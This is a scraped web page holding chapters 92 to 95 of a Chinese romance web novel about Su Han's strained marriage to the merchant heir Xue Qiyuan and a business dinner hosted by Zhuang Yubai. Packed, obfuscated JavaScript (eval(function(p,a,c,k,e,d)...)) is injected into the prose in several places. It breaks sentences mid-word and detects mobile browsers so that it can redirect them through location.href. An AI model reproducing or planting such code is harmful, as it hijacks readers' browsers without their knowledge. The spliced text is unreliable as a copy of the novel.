0=7.0.6();b(/a|9|1|2|5|4|3|c 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而且随着家境突变，苏晗也算见识过真正的世事艰辛与人情凉薄，在行为处事方面大方爽利，甚有英俊潇洒的男儿气概。 凡事福祸相依。 一路南迁途中，原本定有娃娃亲的苏晗却被变相退了亲。 对方来人说什么若论当年苏老在官场的权势地位，他家那算高攀，自是愿意八抬大轿将苏小姐迎娶进门。可此一时彼一时，今后他家还要在朝中继续经营，且上头主子给他家另谋了亲事。他家也为难。 虽是娃娃亲，他们也是认的。权衡下来，现在只能委屈一下苏家小姐，来他家做个妾室，不过是贵妾。 “当然了，该有的聘礼一分都不会少的。”对方派来之人鼻孔扬了又扬。 虽家道中落，但读书人的骄傲还在。即便两袖清风告老还乡，在老家种豆植桑，爷孙俩也不至于饿死。 何况与这样的人家结亲，即便苏晗穿金戴银、凤冠霞帔嫁进去，将来的日子也有的熬煎。 苏考征得孙女同意后，直接退了亲。爷孙俩继续南下。 当年薛家大公子在岭南一个年久失修的驿站中找到苏家时，苏晗正爬到树上摘荔枝。 薛家虽经商，但也懂读书知礼的道理，家中设有家学，族中子侄也都需开蒙读书。作为家中大公子的薛启原将来注定是要担起一门振兴之责的，他的教育自然更为严格。 外界不知之人，只道他薛家满门铜臭，真正走近看时，方知他家也算半个读书门第。这也是当时苏考能点头认同这门亲事的关键所在。 薛启原刚到驿站向小吏递上名帖时，苏考刚好外出。他便在驿站外信步闲走，想着如何同这位苏大人说明来意。 正走着，忽一串东西砸在头上，薛启原低头朝脚边看去，是红彤彤一串荔枝。他捡起来检查折口，刚摘的。 “谁在树上！” 一抹绿色衣衫从树丛闪过，往树枝更密处去了。 不待薛启原追过去，一罗衣侍女急匆匆走来，厉声呵斥：“你是何人！怎敢在此打扰我家小姐！” 薛启原一听树上是位小姐，心中虽惊诧，还是快速转身想后退了两丈远，连连施礼：“实属抱歉。不知小姐在此……在此摘荔枝，扰了小姐雅兴。是小生之罪过。在下薛启原，向小姐赔罪！” 说着又深深施了一礼。 见人一直行礼不起，树上人道：“刚风动，荔枝脱手，砸到了公子。那串荔枝便送与公子，权当赔礼。” “非风动，非荔枝动，是小生不该在此行动。荔枝……薛启原谢过小姐。”说完，薛启原匆忙撤回驿站。 非礼勿视，知道树上是一小姐时，自始至终薛启原便没再抬头向上看一眼。谦谦君子，儒雅风范尽显。这一切，树上之人全看在眼里。 情窦初开的苏晗，原本以为自己与薛启原因情投意合、两厢情愿才走到一起。后来她无意间得知，当年薛启原与她在驿站外相见并非偶然。 她以为的一见钟情，原来早有预谋。她以为的天作之合，不过一场不能免俗的利益交换与捆绑。 政商联合，向来各取所需。商贾之家需要官宦小姐撑门面，落魄官僚需要真金白银讨生活。 他薛启原不就是这样想的么？但凡自己眉头稍稍皱一下，他便将家中铺子、庄子什么的一股脑往我苏晗名下写。 苏晗坐在窗前，将那两份地契看了又看。她不记得墨儿来催过她几次早些安寝，也不清楚自己在这里坐了多久。 直到夜深星斜，东院才开始隐隐有些动静。 苏晗知道是薛启原回来了，她缓缓舒了一口气。 虽异院而居，只要薛启原人在府城，苏晗还是会默默等到那人回家后才安歇。 92. 第 92 章 男主外、女主内，夫妻之道向来如此。 苏晗嫁进入薛家之时，虽心有不甘，但也是做好了圈囿深闺的准备。 好在薛启原和她想象中不一样，除了后院管家实权，外面铺子的经营，只要苏晗稍稍表现出感兴趣的苗头，便会慢慢将管理实权让渡过去。等苏晗自己意识过来，她手里已经全权掌管了七八家铺子。 而且薛启原完全尊重自己，大事小情，只要苏晗下的决定，他都无条件认可且大力支持。 家中有薛启原坐镇，没人敢说什么。而且新妇入门管家，向来天经地义。但外面铺子里的情况就是另一番光景。 家中掌事掌柜，都是在薛家做了多年的，不少是看着薛启原长大的老人。他们信服薛启原，并不是因为薛启原是家中少主，而是他在危急时刻挺身而出，带一干老将从骆家绞杀中冲出重围，救薛家于危难，后又励精图治中兴家道。其魄力、其胆识、其能力，谁人不服。连对家都忍不住私下称赞“生子当如薛启原。” 当然这群掌事掌柜信服薛启原，多少也是因为潜意识中觉得薛启原是长房长孙，是名正言顺的家主。服从家主差遣天经地义。 苏晗是女子，哪怕出身读书仕宦人家，也是闺阁女子。女子管好内宅就可以了，外面铺子庄子上，那是男人的天下。女子主事，从古到今闻所未闻。 更有人认为薛启原这是向新妇示好。但拿家中生意示好……到底年轻，行事莽撞了些。 所以苏晗一开始管铺子，底下掌事多不服气。虽面上不显露，但这些办事办老了的老江湖们手上一松一紧便大有乾坤。一件事他们完全可以做十分，但到苏晗这边，他们只做到七分便来请少夫人的示下。 这里面的弯弯绕，薛启辰看不懂，苏晗哪里不明白。他们这是静观，更是试探。 用人如熬鹰，若降服不住手中猛禽，被猛禽反噬之事并不少见。 苏晗虽年轻，却不是那温室里的小白花。更准确地说，她称得上是一位不错的驯兽者。 她胆大心细，极有耐心，不急不躁，不动声色。只等猛禽一时疏忽大意，露出纰漏，方猛地咬住，拼着被对方巨翅利爪重伤的危险，也绝不松口。直到猛禽完全降服，能为自己所用。 这一招，用一次就够了。降服群首，其他人自然不敢奓翅。 但让手下人完全信服、死心塌地跟随，苏晗凭借的还是自己的商机敏锐度、精准判断力，以及果决的行动力。而且作为女子，苏晗又有其柔和细腻的天然优势，不论合作伙伴还是身边办差的，都能在冷冰冰的生意背后，感受到一些细致周全的观照和温度。 苏晗不仅是管家还是管账都很有一手，账面清楚，带人恩威并济。严于律己的同时，也能用人唯能，不问出身。 铺子里及商队中还雇佣了几个西境北疆之人，表现出色的还当上了小领事。景楼后厨前厅以及成衣铺子里，还能见到女子厨师和裁缝的身影。这在府城可是从来没有过的。刚开始也有不少阻力和压力，但苏晗就是做到了。 时间久了，薛家上下皆真心信服这位大少夫人。连大公子身边办差的，若一时寻不到人，也会来问问少夫人的意见。 不过连身边办差之人都知道时不时去少夫人跟前刷下存在，而作为少夫人的枕边人，薛家大公子薛启原见苏晗的次数，不论当众还是私下，却是越来越少。 若说大公子对少夫人不上心，那绝对冤枉了薛启原。凡是看到什么好吃的好玩的，他都第一时间让身边小厮好生交到墨儿手上。家中田产铺子更不用说。除了下聘时已经作为聘礼列入少夫人名下的，二人成亲这几年，陆陆续续寄在苏晗名下的薛家产业，没有一半也有四成。 但有些事，越努力越挫气。 少夫人向来对这位大公子礼敬有加，随着更多家资强行塞到她名下，苏晗眉间明显填了愁绪。二人似乎也越走越远。已经很久没人见到二人坐在一起用过饭了。上一次薛启原踏进苏晗所在的西院，也早不知是何年何月。 连感情这方面迟钝三分的庄聿白，都看出这二人有问题。大有问题。 “要我说，就是我兄长不懂女孩子的心嘛！”薛启辰把点心碟子往看账簿的庄聿白面前递了递。他拿庄聿白当朋友，凡事都喜欢跟庄聿白讲。 出了正月，日头没那么冷，空气中也开始透出些暖意。议事堂外几株红梅花开正盛。 小各庄议事堂平时空着，庄聿白便让人连堂前空地一并收拾出来，作为金玉满堂的生产基地。他自己定期来看看。 薛启辰城中待惯了，觉得闷。每次庄聿白到各庄他都乐颠颠跟着来。当然他提前向他兄嫂报备过的，美其名曰跟着庄聿白学做生意，学管庄子。 薛启原和苏晗对庄聿白夫夫非常信任，薛启辰跟着庄聿白他们自是放心。至于薛启辰真学、假学、能学几分，就不得而知了。也没人真的会去计较。 “这口气听着像是你很懂似的。”庄聿白从账簿上抬起视线，就薛启辰手里捡了块栗子糕，吃了半口，忽又弯起八卦的眼睛，“难不成……你有心上人了？ “心上人倒没有，但我看戏听曲啊，话本子也读不少。”薛启辰挺了挺腰板，一副博闻强识的模样，“哄人开心，最重要的是要会投其所好嘛！我兄长倒好，只会送田庄、送铺子。” “你长嫂娘家离得远，有些产业傍身也是好的，你兄长是想让你长嫂心中踏实安稳些。”不当家不知柴米贵，庄聿白现在倒是很能理解薛启原这样做的用意。 “我长嫂乃女中英豪，哪需这些身外之物让自己心安。”薛启辰叹口气，“关键还是应该怪我兄长，根本不懂我长嫂的心思。” 庄聿白得知薛启辰兄嫂异院而居时，手中点心都惊掉了。夫妻之间同床异梦的不少见。分院住，分床睡，十天半月不见一次面的夫妻，真不多见。连他和孟知彰这种人前夫夫人后兄弟的关系，都会挤在一张床上睡。 议事堂院子里佃户们各司其职，水洗淀粉，剥虾斩泥，还有人将上一批已晾干的坯片用整洁的细麻口袋仔细收起来。天冷，众人做活用的水皆是温水。风炉上还炖着红枣黄芪暖汤，佃户们可以随时自取。 薛启辰看了眼满院忙活的众人，压低声音：“若真像外界传闻那般……倒还好了。” 庄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241112|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聿白确实也听说了薛启原与这苏晗只是政商联姻的传闻。分院别住，各自经营自己的生意，薛启原动不动就将田产庄子之类的固定资产塞给苏晗。种种行为看上去确实像因利益而强行捆绑在一起的联盟双方。 不过与薛启辰兄嫂接触下来，庄聿白又觉二人不像“那种”夫妻。具体哪里不像，他也说不好。 “说到联姻，我们薛家虽几代商贾，但想寻一位官家小姐结亲，也并不是太大的难事。何况我长兄风度翩翩、一表人才，眼馋的小姐们多了去了。” 薛启辰的话虽直白，却是实情。 庄聿白也深以为然，顺着往下说：“若真只是联姻，在府城选一个对你们薛家生意有助益的亲事岂不方便？听说当年长苏家已经在朝中失了势，你兄长千里迢迢追去南边，花了很长时间方求来的这段姻缘。” “谁说不是，当年我兄长……”薛启辰还要说什么，见有人走过来，忙住了声。 是然哥儿。手里端了一碟新炸制的玉片，来请庄聿白核验。 每次新制的玉片坯晾晒后都会炸制一盘小样，等庄聿白核验通过后，方才着专人将这批玉片坯送到薛家名下的景楼。 虽然有薛家这个庞大的销售体系做支撑，庄聿白还是坚持每一步走得谨慎些。最开始的这两个月先试运营，一是庄子里制作人手需要熟悉磨合，二是看下府城食客的反馈，三是推算下薛家茶肆酒楼、南北铺子的销售量，好以此安排接下来扩产的设备和人手。 前半个月平均日产玉片坯6斤（480文），水洗面筋1.8斤（144文），入账9360文。支出方面，人工占大头，目前是5人，每人每月8钱银子，日耗小麦9斤（72文）、虾3斤等基础材料都是庄子上自有的，成本有限。算下来，当前半月可以有6两银的利润（9360文-1080-2000文）。 因为各方面都在磨合试探阶段，庄聿白对这个数字很是满意。 庄聿白接过碟子，坯片切得薄而匀，玉片炸出来便蓬松轻盈，轻轻一咬，香酥满口。 “启辰兄，你也试试。” “好吃！现做的玉片尤其好吃！酥、鲜、鲜、奇！”薛启辰说着又往嘴里塞了两片。眼睛里全是笑。 因目前产量有限，薛启辰也只是偶尔去景楼试菜时，才能吃上那么一两次。这哪够呀！所以他每次缠着庄聿白带他来庄子上，也是为了能多混口这玉片吃。 庄聿白让然哥儿将这批刚收起来的玉片坯理好，放到他马车上，稍后他带回城去。 然哥儿应着转身退下，却又被庄聿白提名唤住：“我看这花名册上写着你擅育植瓜果蔬菜，果木可还行？” “都是跟阿叔学的。”然哥儿有一点腼腆，“请问公子是什么果木？” “葡萄。” “公子有葡萄树？在哪里？”然哥儿眼睛里忽然有了光，像阳光洒进水面，整个人也变得神采奕奕。他脚下轻快，不觉往回走了几步，忽然又想起什么，睫羽瞬间垂下，声音也低下去，变回刚才那个腼腆害羞的然哥儿，“……哦，阿叔教过如何培育杏李等果木，葡萄之术……想来也是相通的。” 93. 第 93 章 薛启原追至廊下，看着匆匆离去的背影，情急之下喊出那个名字。 默念于心的名字，太久未宣之于口，薛启原自己也怔了下，跟着心中万千情绪翻涌上来。 好在这翻涌的情绪，只有一瞬。仆役小厮站了满院，方才的郎中和药童也在。众人齐齐看向他的瞬间，薛启原单手握拳负至身后，心中本不该属于家主的波动情绪，稳稳压制下去。 他是薛启原，是整个薛家的掌舵人，任何不合时宜的情绪都是不应该的。 妻子停了脚步，转过身来。隔着夜色，他看不清对方脸上的表情变化，甚至看不清对方是否在看自己。 薛启原回复如常，仍是那副当家人的冷静严肃：“误在北边的那批货物……到了。跟货的伙计皆平安。货物也都在，南北货行掌柜已经带人在查验了。” 几车货物对薛家来说并不算什么。但明眼人都知道，这可不只是几车货物这么简单。 各方势力博弈多年，原本趋于平稳的府城商业格局，随着薛家搭上孟知彰和庄聿白这条线，开始出现微妙变动。涮锅和茶炭生意在府城的小火苗头，已经引起关注。不然薛家获取年前滞留北边，岂能只是因为一场风雪？ 而金玉满堂空降府城，短短半月便已成为街头巷尾的热议话题。上至耄耋老叟，下至垂髫小儿，吾不知其名、言其好。这是一件极其恐怖的事情。 现在薛家还只是食肆酒楼有售，已有这般盛况。金玉满堂迟早会放进他薛家铺子及行商队伍卖遍府城，铺至天南海北，到时又当如何？ 危险气息，对家自然已经嗅到。原本只是滞留在北边的薛家货物，眼下却成了一件不留，就地损毁。 对薛家而言，这是一个警告。而薛家，需要站出来表态。 薛启原此行是去东边采购，返程途中带人折去了北边，连人带货硬抢了回来。 这批货属于苏晗所打理的铺子。苏晗作为主理人，理应对家主的这番行动、这番话作出回应。 夜风微冷，吹动她额前滑落的一缕青丝。苏晗叹出半口气：“有劳。明日我会让人将查验结果与明细呈送大公子过目。” “……不必！”薛启原身后的拳，攥得更紧了。他明明不想说这些的。可眼下为了多留妻子片刻，为了多看对方一眼，似乎只能站得远远地说这些冠冕堂皇之语，讲这些莫名其妙之事，“铺子里的事，你做主即可，不需要事事呈报我……” “嗯。我让他们备份给账房，方便大公子定期核验对账。”当着站了满院的丫鬟小厮的面，薛家少夫人礼貌又得体地跟薛家大公子道别，“若无其他事，我先走了。” 薛启原身边小厮见二人没说到点子上，跟着干着急，顾不得规矩不规矩，直接冲出来：“少夫人，货是我们公子抢回来的，我们公子的伤……” “住口！”薛启原喝止小厮，视线却一直停留在妻子背影上。 薛启原的伤口，苏晗方才看到了，也看清了。是刀伤，伤在胳膊，但不凶险。换做常人，恢复个三五日便能正常行动了。薛启原体格向来健硕，更不在话下。 话虽如此，但苏晗心头仍不经意掠过一丝酸楚。无论如何这伤确实是因她名下铺子而起，苏晗作为主事人，是不应该装作不闻不问。不过她不是已经亲自来探视过了么。 苏晗终于为自己深夜跑这一趟寻到个合情合理的缘由。方才有一瞬，她脑中确实一片空白，等她意识稍稍清醒，才发现人已经到了薛启原房中。 “多谢……”方才对方唤了她名字，礼尚往来，苏晗也应该唤对方名字。可“阿原”这两个字，她已经太久没唤了，生疏了，“多谢大公子。” 苏晗并会有再回头，正要带着墨儿转过影墙，后面小厮又道：“少夫人，公子受伤了……” 言外之意，他家公子此时需要人照看。 “不是还有你们么。”苏晗语气淡淡，说完背影消失在影墙。 “……少夫人！”小厮急得就要追上前。 墨儿拦住：“再不济，老太太房中不是来了位嫣红姑娘么？想来她是懂照看伤员的。正好大公子伤着，天赐良机。” 薛启原成婚多年，却没有个一男半女，家中老太太怎能不着急。求神问佛之余，她最近不知听了谁的言语，竟请人物色起了人，不管女子还是哥儿，不管贫富，只要能生养就好。这几日，一个多年未往来的远房亲戚来府城，她听说人家有个年岁相当的女儿，一见便将人留在家中，说陪她说说话。 少夫人夜探东院这等大事，不等天亮薛家上下已传了个遍。 老太太一早听丫鬟说起，哪里敢信，只当是哄她开心。当从一早来请安的薛启原口中得知苏晗当真去了东院时，茶也不吃了，忙去菩萨跟前磕头柱香。真是菩萨显灵，菩萨显灵啊，不枉她这么多年往庙里供奉的那几百斤香油。 “我刚路过西院，见早会刚散。长嫂……起好早啊。”同来请安的薛启辰，是会抓重点的。 薛启原眸子沉了又沉，半晌方道：“她昨日只是来了一下，略站站就回去了。” “什么叫回去了！”若不是看着丫鬟小厮们在，老太太的拐杖已经打在薛启原身上。 薛启辰更是满眼不可置信，称呼都变了：“哥！长嫂她半夜去你房中，你竟然能让人走？你，你是怎么做到的！” 这个消息当面传到庄聿白耳朵里时，他正在家中用柳条做生根水。 过几天温度回暖时，他从孟家村带来的葡萄藤枝可以室内育苗了。他已经在小各庄后山物色了两块空地，等雪花之后才实地考察，选定一块作为府城的葡萄园种植基地。 薛启辰常来，也不算客，便没有那么多虚礼。庄聿白请他在一旁坐了。两人围着风炉，将晨起孟知彰现折的柳条清洗后，剪成10厘米左右的短枝，然后慢慢用石臼将枝条捣扁。庄聿白简单示范了一下，就直接把薛家二少当小工用起来。 “你兄长到底在别扭什么！”庄聿白觉得这个薛启原在商场堪称枭雄，可一到情感之事……嗐！比起他庄聿白可差远了，“不过……怎么又冒出来个嫣红？” “这个嫣红，不足为虑。”薛家二少揉了揉自己的手腕，这石杵看着不重，但捣起来还真要些力气，“我看他俩就是心结没打开。可常年不见面，这结不越缠越乱么？不过昨夜墨儿提起嫣时的态度，倒让我觉得我长嫂对我兄长并不像表面上看去那么不在乎。” “你个傻弟弟。那是自然啦。你长嫂那么好面子的一个人，能夜半不请自来，这不是把答案摆在纸上了么？你兄长竟然还能让人跑了？若换做是我，哪怕强取豪夺，我也得将人留下。” “强取豪夺，当真管用？”薛家二少疑惑。 “当然！”感情圣手上线。 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后日孟知彰学中放假，薛启原又回到府城，择日不如撞日，庄聿白决定就后日在家中设一桌小宴，请薛启原夫妇和庄启辰一起来热闹一下。 “你俩下帖子，我兄长自然是要来的。我长嫂也不会推辞。但若是我长嫂知道我兄长也一起来……恐怕是会搬出铺子里忙之类的说辞，恐难成行赴约。” 苏晗听说庄聿白下帖请她后日去家中赴宴，欣然接过帖子。 茶炭和金玉满堂的生意，目前主要在她手上运营。月末月初，铺子里结算月银，正好将茶炭和金玉满堂的银钱结算给庄聿白，顺便商讨金玉满堂量化生产的问题。 正如薛启辰所担忧的，一提到薛启原也将同行，苏晗眼中的笑意登时散了。 不等苏晗说出推辞的理由，薛启辰忙上前扯住她长嫂的袖子，按照庄聿白提前教他的耍起赖。 “庄公子说了，这是他们来府城设下的第一次家宴。薛家也算是他们来府城后认识的唯一的朋友。若是我们这个面子都不给，就是真不拿他当朋友。今后薛家的生意再想谈，就难了。” 苏晗眼神探究地看着薛启辰，她不确定这番话几句真几句假。不过这是庄聿白第一次正式下帖子请他们。而且夫夫二人做东，她夫妇二人赴约，合情合理。若自己执意推脱，倒显得不近人情。 “长嫂不是有事有与庄公子商议么，或者这样，若长嫂实在不想见我兄长。长嫂先行过去，我尽量拖住我长兄一段时间，等长嫂事情聊完先行离席，与我兄长打个时间差。长嫂觉得如何？” 苏晗微锁蛾眉，没有应允，但也没说不行，忽想到什么：“阿辰，薛家能有今日实属不易。在外，薛家上下是一体，要永远同心同德，明白吗？我与你兄长……这是我与他之间的私事。” 薛启辰似懂非懂地点点头，转身就将这话原封不动告知他兄长。 薛启原听后并没做表示，只用手拿了块芙蓉糕给他。 赴约当日，薛启辰特意起了个大早，正想着该拿个什么理由拖住他哥时，却见东院已空空无人。他寻了个洒扫婆子，才知大公子一早就让人检视车辆，这会儿恐怕要出门了。 薛启辰忙追至门外，他兄长手持马鞭正整鞍理辔，旁边停着的马车，则是他长嫂平时出门乘坐的。 94. 破冰 薛启原见薛启辰愣在原地：“阿辰，你马呢？难不成要蹭你长嫂的车？” “……” 薛启辰刚想应，门里说说笑笑走出来几个小丫鬟，抱着手炉软垫之类的出行用品，正要往车里安置，一抬眼看见薛启原就站在车前，众人皆是一惊，脸上笑意立马僵住，连行礼问安都忘了。 一大早能见到大公子，从未有过之事，还是在少夫人车前！ “路上冷，手炉多带几个。软垫也再加一条。”薛启原扫了一眼众人手里的东西，转身继续去理他的鞍辔。 “……是，大公子！”小丫鬟们这才反应过来，慌张行了礼，七手八脚将东西往马车上安置。 薛启原见薛启辰仍不动：“你还在等什么？” “我这就去！”薛启辰一路小跑着去了，等牵马回来，门前已经空了。 薛启辰带着小厮，主仆二人风尘仆仆赶到齐物山时，宾主四人已寒暄过并落了座。他行了礼，在留给自己的位置上坐了，接过庄聿白亲自递来的一盏茶。 心中却仍有点怪罪兄嫂没等自己。嘴巴鼓鼓的。 不过他长兄亲边听他长嫂说着金玉满堂的制作安排，边自用手给他拿了块点心。薛启辰接过点心，气就顺了。 苏晗细细看着庄聿白摆在桌上的金玉满堂人员配给和产出计划表。二月开始，小各庄会安排10人进组，月产玉片360斤，面筋96斤。 庄聿白盘算过，这样每月会有12两银子结余，这一项维持二人日常生活足够了。因为各庄不大，强壮有力的安排在山上炭窑了，另有10人来做金玉满堂，接下来还要安排人手打理葡萄园，也算家家户户都吃上庄聿白带来的这碗红利。 “玉片360斤，算是小各庄的上限了。”庄聿白看了眼苏晗，察觉出对方对这个数字并未达到对方期许。 苏晗并未急着表态，她先喝了两口茶，从带来的书箱中拿出厚厚一沓纸。 孟知彰与薛启原交换下眼神，彼此心照不宣。这真是有备而来。 苏晗展开纸页。字如其人，苏晗的字，清秀俊逸，笔端带着英气。庄聿白只看了一眼，压在桌上的手，不自觉将自己画的那张计划表往回拽。 “庄公子，月产360斤，恐怕只够我一家铺子的。”苏晗并未在意庄聿白的小动作，伸手在纸上指了几处数字，“阿辰是知道的，近日那些掌柜见我的第一件事，便是催促这金玉满堂何时可以上架待售。” 庄聿白跟随手指看去，都是各处铺子的金玉满堂预定数额，越看心尖尖跳的越厉害。 “这些是压减后的数字。目前可以销售金玉满堂的铺子是4家，每家每月300斤，若有余量，再让南来北往的行商带了去。” “月产1200斤！”庄聿白有些不淡定了，自己手上这几个散兵游勇哪怕一天24小时连轴转，每月也生产不出这么多来。 不过这位苏家少夫人可真沉得住气，压得住场，她淡淡一笑，从书箱中又拿出几本花名册。 “庄公子庄子上目前10人月产360斤，正好我薛家城外还有几处稍大些的庄子，身强力壮的人手也能凑上几个。这是庄子上递过来的花名册，每月余下的840斤所需人手，我帮你带了来。” 庄聿白往那花名册上看去，姓名，年纪，身量之外，擅长之事也做了注明。有上百人可供选择。 “听说这金玉满堂的做法，分不同环节。庄公子若不嫌我啰嗦，我便多说上几句。” 庄聿白添了茶：“少夫人，请讲。” “我庄子上的人呢，都是些粗人，做这些精细活估计上手慢。不如就按庄子来分工。比如水洗淀粉就在这大丰庄完成，晾晒后的淀粉给到小满庄，小满庄做完下一步，便将再下一步换至下一个庄子。以此类推，最后一步放在小各庄，由庄公子验收。庄公子觉得如何？” 与明白人共事就是好，凡事只需点出一分，剩下的九分两下皆心知肚明。 这是担心人多眼杂，保不齐什么心思就生了出来。虽说都是薛家多年的老庄子，但金玉满堂是时下府城最抢手之物。足够的诱惑面前，谁都不敢保证自己能不能压下心中歪念。若有人妄图从这些工人们身上下功夫，但核心技术仍攥在庄聿白手上。如此一来，既保住了金玉满堂，同时也是对自家佃户的一种保护。 “在下正有此意，不料少夫人先行言明。如此甚好，甚好！” 庄聿白暗暗惊叹这位薛家少夫人做事之周全之缜密。文弱女子能在男权社会站稳脚步，打出自己的一片天地，当真需要些真本事。 “金玉满堂我照单全收，按月结算。此事若无异议，100两定金我已带来。”苏晗示意从书箱中取出一沉甸甸一袋银子放在桌上。又补了一句，“庄公子莫要推辞。工人的工钱，庄公子可不能耍赖哦！” 一句玩笑，两下莞尔，双方迅速拟了份契约，签字画了押，并以茶代酒，举杯庆祝合作顺遂，一切顺遂。 庄聿白与苏晗很对脾气，两人一拍即可，做事路数也出奇一致。等他们从手头事情分神出来时，才发现除了趴在桌子上昏昏睡去的薛启辰外，另外两位“主外”的男人没了踪影。 “启辰兄醒醒！启辰兄……”庄聿白推推睡眼惺忪的薛启辰，“孟知彰和你兄长呢？” 这些生意经听得薛启辰实在无聊，他只是想趴一会儿，谁知竟睡了过去。薛启辰摇摇晃晃直起身，揉着眼睛向外指：“……好像去厨房了。” 庄聿白习以为常，家中饭菜多是孟知彰掌勺。不过听闻薛启原去了厨房，苏晗不觉站起身，望着薛启辰手指的方向眉宇动了动。 君子远庖厨。何况是一家之主、整个薛家掌舵人？ 薛启原？厨房？这两个词，至少在苏晗的认知中，是无论如何放不到一起的。 窗外脚步声起。少时，薛启原出现在门口，向前走了半步，站定，脸上似有为难之色。 庄聿白刚想问是不是午饭出了什么差池，却见孟知彰从旁出现，碰了碰薛启原的胳膊，并给看过来的庄聿白递了个眼神。 庄聿白会意，又从背后扯了下薛启辰的衣袖。主舞台只属于今天的主角。 “饭菜具齐……”薛启原顿了下，似在斟酌后面的话语如何开口，耳根却渐渐染上红晕，半日才道，“晗儿，可以吃饭了。” 无声的沉默，在齐物山的这座小院内回荡，越荡声响越大。苏晗一度怀疑自己开始耳鸣。 众人皆在等薛启原的“晗儿”回应。 “晗儿，吃饭了。”薛启原向前两步，再次邀请。若对方还没有回应，他便再上前一步，甚至打算搀住。 苏晗及 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15259556|157868||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时回过了神，睫羽轻颤，垂下眸子，浅浅应了声，“嗯？” 此次夫妇二人登门做客，代表的是薛家。哪怕逢场做戏，这恩爱夫妻的戏码也得演下去。眼下薛启原不就做得很好么？ 餐食设在西厢房。 苏晗被二少薛启辰扯着袖子请到西厢时，看着满桌碗碟杯盘，喉间哽塞，一时不知该如何是好。她将视线在周围人身上绕了一圈，却始终躲开薛启原。 “……大公子和孟公子一起准备的？” “嗯。”薛启原特意为妻子的椅凳铺上软垫，再次邀请，“来，坐下，试试味道如何。” 薛启原挨着妻子坐了，又递上筷子。 这……递筷子，是不是演得有些太过了？ 筷子递到面前，苏晗一时拒绝不了，只能接过，小心将带着体温的筷子握进手里：“有劳大公子。” 一口一个“大公子”，在座几人皆假装听不见。 不过苏晗原是官家小姐，虽家道中落，但心中不染下尘的精神坚持仍在。想让其转变过来，一则没必要，二则短时间内也难。 “大丈夫立于世，抑或文安天下，抑或武定乾坤，抑或商震四海。平天下，安家邦之余，为在乎之人煮碗羹汤，不也是人间一大美事么？” 孟知彰为这顿饭定了个调，话落前将眼神递给薛启原。 “今日孟公子教我一道甜汤，晗儿试试。”薛启原将一盏七彩水晶甜汤递到苏晗手中，“用水淀粉掺了蔷薇粉、姜黄粉、丁香粉做成这各色小球，和酒酿一起烹煮，盛出后再淋上桂花蜜糖。” 苏晗将视线停于这盏甜汤，再不敢向上抬半分，脸上烫一阵冷一阵，呼吸似乎也开始有些不畅：“这些事，大公子不必……” “晗儿试试如何？”或许预判到对方反应，薛启原将碗盏递得更近些，“若喜欢，回家后我们一起做给老太太尝尝。” 这是搬出了孝道。不愧为薛家掌舵人。 方才涟漪阵阵的心窝，瞬间凉下来，眸底也无半分波澜。苏晗丹唇微启，尝了一匙，不知其味，仍点头应了声“好”。 只要摆正了自己薛家少夫人的身份，这戏，还是好做得很。 苏晗面上一直淡淡的，庄聿白还是察觉出其中的情绪变化。满桌子，薛启原真的尽力了，薛启辰不好直接插手兄嫂之事，孟知彰也指望补上，只有他庄聿白来打破这个僵局。 “听说，当年大公子南下千里，追到岭南，才成就了与少夫人的这份好姻缘。”破冰吗，不都得从甜甜的初遇说起么。 庄聿白知道自己的这个破冰话题起了作用，餐桌气氛明显开始变动。 苏晗转眸看定自己身边的丈夫，眼底晦暗不明：“大公子，有个问题，我只问你一次。” “好。” “那日荔枝树下是无心偶遇，还是跨越千里的处心积虑？” 苏晗声音有些颤，她不确定会得到怎样的答案。她更不清楚自己想得到怎样的答案。 “树下相遇，无心；南下去寻，有意。” 苏晗盯着薛启原看了许久，久到似乎已经回到几年前的那棵荔枝树下，重新改写两人的生命轨迹。 最后她冷笑一声，决然离了席。 庄聿白万万没想到自己这无心的一句话，竟将原本的僵局，变成了死局。 95. 强取 烈药虽猛，但能直达病灶。 庄聿白提及的问题，掘出苏晗埋藏心中多年的那根痼疾。而薛启原的答案，直接戳痛了她一直以来都在刻意回避的症结和痛处。 他明明可以否认的，否认当年南下寻得爷孙二人，只是出于家族利益考量，出于对抗骆家的权衡。迎娶苏氏之女，也不是你们薛家的无奈选择，更不只是你薛启原的权衡之举。 再不济，他仍然可以选择继续沉默。或许苏晗还有理由继续哄骗自己。骗自己说，当年她苏晗嫁与的是一见钟情，是两情相悦。 他没有。他容不得半点藏私，他最是高风朗月的绝尘君子，他就这样赤裸裸将伤口撕开在太阳底下。 “啪——”苏晗猛抽一记响鞭，骏马在齐物山中一路向前冲去。没有退路，更不知前路在何方。 他薛启原是谁啊，薛家长公子，薛氏一族掌舵人。做事向来缜密周全，何况他的亲事关乎阖族利益，又岂会因一见钟情而选定一人为妻而迎娶进门？ 可笑。当年的自己，真的是可笑至极。 策马怒驰的苏晗忽然笑起来，先是冷笑两声，后来竟笑得止也止不住，五脏六腑恨不能吐出来。 不知何时几滴水珠溢出眼角，冰冷地向鬓边滑去。她扬起下巴，倔强地抬手向上抹去。 或许自己打点商铺还算有些苦劳，或许自己读书人家女儿这层身份，能盖住满院商贾铜臭，这些年在薛家并不曾受过任何苛待。除了老太太院里，西院应该是家中供应最快最多、也是最优厚的。 